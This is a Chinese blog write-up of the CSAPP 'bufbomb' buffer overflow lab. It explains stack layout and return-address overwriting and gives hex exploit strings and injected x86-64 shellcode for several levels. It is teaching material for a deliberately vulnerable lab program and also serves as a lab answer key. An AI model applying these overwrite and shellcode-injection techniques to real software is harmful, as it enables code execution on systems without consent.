这个实验主要是熟悉栈,和了解数据缓存区溢出的问题。

数据缓存区溢出:程序每次调用函数时,会把当前的eip指针保存在栈里面,作为被调用函数返回时的程序指针。在被调用程序里面,栈是向下增长的。所有局部变量都存储在栈里面(静态局部变量除外)。假设有一个字符串变量str,在str读取数据时,如果缓存区没有进行一定的保护,会造成缓存区的溢出。由于栈是向下增长的,但是对于一个变量,如str,他的数据存储顺序是向上增长的。所以当缓存区溢出时,可能对eip的返回指产生影响,可以通过输入,来改变eip指针的值,从而控制程序返回的地址。

Level 0: Candle

第一个实验,是通过数据缓存区溢出,来对程序进行修改。

程序是一个字符串的输入程序,如果输入超过40个,就会说输入错误。

试验一就是要通过查看程序的栈帧,进行缓存区溢出攻击,通过输入,改变程序的返回地址。

void test()
{
unsigned long long val;
volatile unsigned long long local = 0xdeadbeef;
char* variable_length;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
if (val <= 40) {
variable_length = alloca(val);
}
entry_check(3);
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%llx\n", val);
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
validate(3);
}
else {
printf("Dud: getbuf returned 0x%llx\n", val);
}
}
unsigned long long getbuf()
{
char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);
variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
for(i = 0; i < 36; i++)
{
variable_length[i] = buf[i];
}
return val % 40;
}

test函数调用getbuf()函数,来输入字符串。然后判断输入的字符串长度。

实验要求,输入一个字符串,然后是getbuf()完成后,跳转到smoke()函数,而不是test函数。

首先,进入getbuf函数,查看getbuf的栈帧。

可以看到,程序的返回地址存储在rip中,地址是:

也就是要通过输入,改变0x7fffffffb1a8地址中的值。

根据程序:

char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);

我们的输入存在buf这个变量里面,查看buf这个变量的地址:

上面两个地址相减,就是:0xb1a8-0xb170=0x38=56

也就是我们要输入56个字符串,然后再输入想要转化的地址。

现在只要知道smoke的函数入口地址就可以了,

通过查看smoke的第一行的地址,就可以知道函数入口地址

知道smoke入口地址是0x4010c0

只要在最后输入0x4010c0就可以了,但是因为机器是小端法的机器,所以输入要反一下,要输入C0 10 40 00

综上最后的输入为:

30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 c0 10 40 00

前面56个输入,只要不要有换行符就行了

最后的结果:

成功调用了smoke

Level 1: Sparkler

Similar to Level 0, your task is to get bufbomb to execute the code for fizz() rather than returning to test.
In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropriate place within your exploit string.

要求就是进入fizz函数,然后使cookie的值和val的值相同。

void fizz(int arg1, char arg2, long arg3,
char* arg4, short arg5, short arg6, unsigned long long val)
{
entry_check(1); /* Make sure entered this function properly */
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%llx)\n", val);
validate(1);
}
else
{
printf("Misfire: You called fizz(0x%llx)\n", val);
}
exit(0);
}
直接通过改变val的值,使val的值和cookie的值相等,来解决问题。
这里具体的做法就是找到val的地址,然后通过写入的字符串来改变那个地址上面的值,此方法和实验一的过程比较像,就不展开了。

Level 2: Firecracker

Similar to Levels 0 and 1, your task is to get bufbomb to
execute the code for bang() rather
than returning to test(). Before
this, however, you must set global variable global_value to
your cookie. Your exploit code should set global_value,
push the address of bang() on
the stack, and then execute a retq instruction
to cause a jump to the code for bang().
unsigned long long global_value = 0;

void bang(unsigned long long val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie)
{
printf("Bang!: You set global_value to 0x%llx\n", global_value);
validate(2);
}
else
{
printf("Misfire: global_value = 0x%llx\n", global_value);
}
exit(0);
}

这个实验要求把getbuf函数结束之后,跳转到bang这个函数里面来,然后global_value的值需要和cookie一样。一开始我以为这个和前面第二个的实验差不多,后来gdb进去一看,global_value由于是全局变量,根本不在栈里面,像实验二一样,通过直接改global_value的值是不行的。

后来看了一下实验给的建议,知道是要让我在缓存区里面写一段代码,通过这段代码来改变变量的值。原来还能这么玩,太牛逼了。
首先,写一段汇编,是把global_value的地址里面的值改掉:
.data
.text
main:
MOVQ $0x602308 ,%rax
MOVQ $0x704537f05ce48c45 ,%rbx
movq %rbx,(%rax)
push $0x401020
ret

然后用gcc编译一下,在反汇编,得到他的二进制表示:

得到的反汇编文件:

只要把前面那些二进制代码作为输入,就可以了

最后的输入是:
48 c7 c0 08 23 60 00 48 bb 45 8c e4 5c f0 37 45 70 48 89 18 68 20 10 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  

在这里和第二个实验还有点不一样的地方就是把rip的地址改为了buf的首地址,这样,当getbuf函数返回的时候,会把这段代码作为返回地址,然后执行。

最后结果:

成功更改了global_value的值。

代码,数据,对计算机来说都是0,1而已,没有区别。

Extra Credit – Level 3: Dynamite

Your job for this level is to supply an exploit string that will cause getbuf() to
return your cookie back to test(),
rather than the value 1. You can see in the code for test() that
this will cause the program to go "Boom!"
oid test()
{
unsigned long long val;
volatile unsigned long long local = 0xdeadbeef;
char* variable_length;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
if (val <= 40) {
variable_length = alloca(val);
}
entry_check(3);
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%llx\n", val);
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
validate(3);
}
else {
printf("Dud: getbuf returned 0x%llx\n", val);
}
}

这个实验就是让我把getbuf里面的返回值改成cookie的值,和上一个实验都是一样的,唯一需要注意的是,在程序里面有一个local的变量,用来检测栈地址有没有被改变。因为local的变量是通过rbp间接寻址得到的,所以在汇编程序里面需要改变rbp的值,使他指向正确的rbp;

写入的汇编代码如下:

然后把这些二进制的代码写入到字符串,写入的字符串为:

48 b8 45 8c e4 5c f0 37 45 70 48 bd d0 b1 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  

最后在gdb里面得到的结果:

总结:终于搞完这个东西了,汇编编程还真是麻烦,虽然只有几行,但是错误真是难找。记得第三个实验我传值的时候忘记掉了$符号,结果传进去的值不是立即数,而是间接地址上的数,因为这个错,弄了一晚上,一直以为是自己字符串输错了……真是蛋疼

版权声明:本文为博主原创文章,未经博主允许不得转载。

csapp lab3 bufbomb 缓存区溢出攻击 《深入理解计算机系统》的更多相关文章

  1. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...

  2. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...

  3. 缓存区溢出漏洞工具Doona

    缓存区溢出漏洞工具Doona   Doona是缓存区溢出漏洞工具BED的分支.它在BED的基础上,增加了更多插件,如nttp.proxy.rtsp.tftp等.同时,它对各个插件扩充了攻击载荷,这里也 ...

  4. 缓存区溢出检测工具BED

    缓存区溢出检测工具BED   缓存区溢出(Buffer Overflow)是一类常见的漏洞,广泛存在于各种操作系统和软件中.利用缓存区溢出漏洞进行攻击,会导致程序运行失败.系统崩溃.渗透测试人员利用这 ...

  5. CSAPP:逆向工程【缓冲区溢出攻击】

    逆向工程[缓冲区溢出攻击] 任务描述 掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程. 主要方法 溢出的字符将覆盖栈帧上的数据,会覆盖程 ...

  6. 缓存区溢出之slmail fuzzing

    这是我们的实验环境 kali 172.18.5.118smtp windows2003  172.18.5.117  pop3 110 smtp 25 本机 172.18.5.114 已经知道slma ...

  7. AFP溢出攻击模块afp/loginext

    AFP溢出攻击模块afp/loginext   在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...

  8. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  9. CSAPP缓冲区溢出攻击实验(下)

    CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...

随机推荐

  1. iOS_根据文字字数动态确定Label宽高

    iOS7中用以下方法 CGSize 替代过时的iOS6中的- (CGSize)sizeWithFont:(UIFont *)font 方法 // iOS7_API_根据文字 字数动态确定Label宽高 ...

  2. 利用协议代理实现导航控制器UINavigationController视图之间的正向传值和反向传值

    实验说明 (1)正向传值:比如A类里地值要传给B类用,就是我们先在A类中声明一个B类对象(当然B类头文件要import过来),然后把A类中得某个 值传递给B类中得某个值(所以需要在B类中先准备一个变量 ...

  3. checkbox和radio的样式美化问题

    如果你下定决心要改变现有的默认的checkbox和radio的样式,那么我目前有两种办法: 1.自己动手写一个,也就是自己写代码实现将input的checkbox和radio默认的样式隐藏掉,使用绝对 ...

  4. node.js(五)字符串转换

    1.stringify函数的基本用法 stringify函数的作用就是序列化对象,也就是说将对象类型转换成一个字符串类型(默认的分割符("&")和分配符("=&q ...

  5. C# 与 VB.NET 对比

    C# 与 VB.NET 对比 2008-06-20 15:30 by Anders Cui, 1462 阅读, 3 评论, 收藏, 编辑 Table of Contents 1.0       Int ...

  6. $(function() {});和$(document).ready(function() {});区别

    第一个是直接使用Jquery调用function,第二个是在文档加载完毕后才去调用function

  7. 【转】java jawin api 中文 invoke方法

    org.jawin Class FuncPtr java.lang.Object org.jawin.FuncPtr ----------------------------------------- ...

  8. MySQL函数笔记

    MySQL函数笔记 日期函数 SELECT t1.xcjyrq, t1.* FROM view_sbxx t1 WHERE t1.syzt ; SELECT t1.xcjyrq, t1.* FROM ...

  9. 从零开始PHP学习 - 第一天

    写这个系列文章主要是为了督促自己  每天定时 定量消化一些知识! 同时也为了让需要的人 学到点啥~! 本人技术实在不高!本文中可能会有错误!希望大家发现后能提醒一下我和大家! 偷偷说下 本教程最后的目 ...

  10. [转]iOS UIAppearance使用详解

    在iOS 5以前,自定义原生控件的外观并没有原生支持,因此开发人员感觉很麻烦.开发人员经常面临的问题是修改一个控件所有实例的外观.解决这个问题的正确方法是重写一遍控件.但由于这么做非常费时,一些开发人 ...